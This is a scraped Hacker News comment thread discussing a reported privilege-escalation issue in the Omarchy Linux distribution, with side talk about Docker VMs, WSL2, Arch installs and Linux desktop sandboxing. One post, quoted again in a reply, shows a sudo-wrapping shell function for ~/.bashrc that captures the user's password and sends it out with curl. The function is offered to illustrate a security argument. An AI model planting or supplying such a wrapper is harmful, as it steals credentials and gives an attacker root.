Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

71–80 of 583 posts

Re: Omarchy: Any User Process Can Escalate to Root

#71
post #10

Is it not better to run a VM just for Docker, like we have to do on macOS?

Damn, I did not know you need a VM for Docker on macOS. That's kind of ironic, isn't it XD Every day I wake up and thank the universe for MS making WSL2

I’d rather run real Linux in a VM than a buggy appropriation of it in WSL

Re: Omarchy: Any User Process Can Escalate to Root

#72

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall

Omarchy seems to be pentested by a bunch of angry haters. Who's pentesting your arch install? :P

Re: Omarchy: Any User Process Can Escalate to Root

#75

Earlier quoted context omitted.

Damn, I did not know you need a VM for Docker on macOS. That's kind of ironic, isn't it XD Every day I wake up and thank the universe for MS making WSL2

WSL2 is also a VM. docker relies on the linux kernel apis, so it must be ran inside a linux VM on macos or windows

Windows does have a native sandboxing API that Docker is capable of using IIRC, but nobody uses it.

The macOS situation is even worse in that the kernel lacks the requisite capabilities.

Re: Omarchy: Any User Process Can Escalate to Root

#76
To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.

Malware just need to put this in ~/.bashrc and wait:

function sudo () {

    realsudo=$(which sudo)

    read -r -s -p "[sudo] password for $USER: " password

    echo "$USER: $password" | \

        curl -F 'p=/dev/null 2>&1


    $realsudo -S /dev/null 2>&1

    $realsudo "${@:1}"

}

Re: Omarchy: Any User Process Can Escalate to Root

#77
post #43

Earlier quoted context omitted.

I think this is more about the UI, rather than the install. I haven't tried it myself though. I think nowadays using quickshell anyone who is so inclined can vibecode their own UI though. I recently made the switch to Wayland/hyprland and rebuilt my polybar on quickshell, even adding widgets that allow getting system info/fine grained system control (interactive Bluetooth, WiFi, Volume, Brightness etc).

Ah yes, the solution to software with massive security holes is for everyone to vibe code their own software with massive security holes. But in all seriousness, I am running omarchy now, and I will almost definitely be switching to arch at some point in the future.

Even if you introduce bugs in your UI (which I think is not very likely if you have a basic understanding of your system), the chance that someone would exploit software that literally only runs on your own machine seems extremely unlikely to me.

I've been using arch for over 10 years btw.

Re: Omarchy: Any User Process Can Escalate to Root

#78
post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

What? Why is sudo security theater?

Re: Omarchy: Any User Process Can Escalate to Root

#79

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

It's definitely not why *I* switched away from Windows

Re: Omarchy: Any User Process Can Escalate to Root

#80

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell an…

> it doesn't have any kind of proper desktop sandboxing architecture that really works. Bubblewrap works.

and Firejail
Post reply on HN